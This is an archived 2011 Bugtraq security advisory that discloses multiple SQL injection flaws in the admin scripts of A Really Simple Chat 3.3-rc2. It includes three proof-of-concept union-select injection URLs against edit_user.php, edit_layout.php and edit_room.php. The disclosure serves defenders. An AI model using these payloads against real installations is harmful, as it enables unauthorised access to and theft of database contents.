bugtraq - HTB22999: Multiple SQL Injections in A Really Simple Chat (ARSC)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <201106011210.p51CADlD021504@htbridge.ch>
Date: Wed, 1 Jun 2011 14:10:13 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: HTB22999: Multiple SQL Injections in A Really Simple Chat (ARSC)

Vulnerability ID: HTB22999
Reference: http://www.htbridge.ch/advisory/multiple_sql_injections_in_a_really_simple_chat_arsc.html
Product: A Really Simple Chat (ARSC)
Vendor: http://www.reallysimplechat.org/ ( http://www.reallysimplechat.org/ ) 
Vulnerable Version: 3.3-rc2
Vendor Notification: 12 May 2011 
Vulnerability Type: SQL Injection
Risk level: High 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "/base/admin/edit_user.php" script to properly sanitize user-supplied input in "user" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.
The following PoC is available:

http://[host]/base/admin/edit_user.php?arsc_user=-1%27%20union%20select%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15%20--%202

The vulnerability exists due to failure in the "/base/admin/edit_layout.php" script to properly sanitize user-supplied input in "arsc_layout_id" variable.
The following PoC is available:

http://[host]/base/admin/edit_layout.php?arsc_layout_id=-1%20union%20select%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20

The vulnerability exists due to failure in the "/base/admin/edit_room.php" script to properly sanitize user-supplied input in "arsc_room" variable.
The following PoC is available:

http://[host]/base/admin/edit_room.php?arsc_room=%27%20union%20select%201,2,version%28%29,4,5,6,7%20--%202